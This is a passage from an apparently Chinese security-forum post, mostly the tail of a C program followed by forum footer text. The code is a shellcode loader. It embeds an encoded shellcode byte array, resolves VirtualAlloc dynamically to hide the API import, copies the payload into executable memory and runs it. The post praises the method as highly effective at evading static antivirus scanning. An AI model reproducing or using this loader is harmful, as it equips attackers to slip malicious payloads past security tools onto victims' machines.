  82.     unsigned char shellcode[] = "\x2b\xc9\x83\xe9\xcf\xe8\xff\xff\xff\xff\xc0\x5e\x81\x76\x0e\x65\x87\xbe\xd4\x83\xee\xfc\xe2\xf4\x99\x6f\x3c\xd4\x65\x87\xde\x5d\x80\xb6\x7e\xb0\xee\xd7\x8e\x5f\x37\x8b\x35\x86\x71\x0c\xcc\xfc\x6a\x30\xf4\xf2\x54\x78\x12\xe8\x04\xfb\xbc\xf8\x45\x46\x71\xd9\x64\x40\x5c\x26\x37\xd0\x35\x86\x75\x0c\xf4\xe8\xee\xcb\xaf\xac\x86\xcf\xbf\x05\x34\x0c\xe7\xf4\x64\x54\x35\x9d\x7d\x64\x84\x9d\xee\xb3\x35\xd5\xb3\xb6\x41\x78\xa4\x48\xb3\xd5\xa2\xbf\x5e\xa1\x93\x84\xc3\x2c\x5e\xfa\x9a\xa1\x81\xdf\x35\x8c\x41\x86\x6d\xb2\xee\x8b\xf5\x5f\x3d\x9b\xbf\x07\xee\x83\x35\xd5\xb5\x0e\xfa\xf0\x41\xdc\xe5\xb5\x3c\xdd\xef\x2b\x85\xd8\xe1\x8e\xee\x95\x55\x59\x38\xed\xbf\x59\xe0\x35\xbe\xd4\x65\xd7\xd6\xe5\xee\xe8\x39\x2b\xb0\x3c\x4e\x61\xc7\xd1\xd6\x72\xf0\x3a\x23\x2b\xb0\xbb\xb8\xa8\x6f\x07\x45\x34\x10\x82\x05\x93\x76\xf5\xd1\xbe\x65\xd4\x41\x01\x06\xe6\xd2\xb7\x4b\xe2\xc6\xb1\x65\x87\xbe\xd4";

  83.     TCHAR szVirAlloc[] = TEXT("VirtualAlloc");

  84.     typedef LPVOID(WINAPI* VirtualAllocB)(LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect);

  85.     VirtualAllocB p = (VirtualAllocB)_getApi(_getKernelBase(), szVirAlloc);char* a = (char*)(*p)(NULL, sizeof(shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);memcpy(a, shellcode, sizeof(shellcode));
  86.     (*(void(*)())a)();

  87.     return 0;
  88. }
复制代码
编译完成,可以正常执行我们的shellcode。此方法对付静态查杀效果极好。



回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-11-28 03:49 , Processed in 0.014320 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表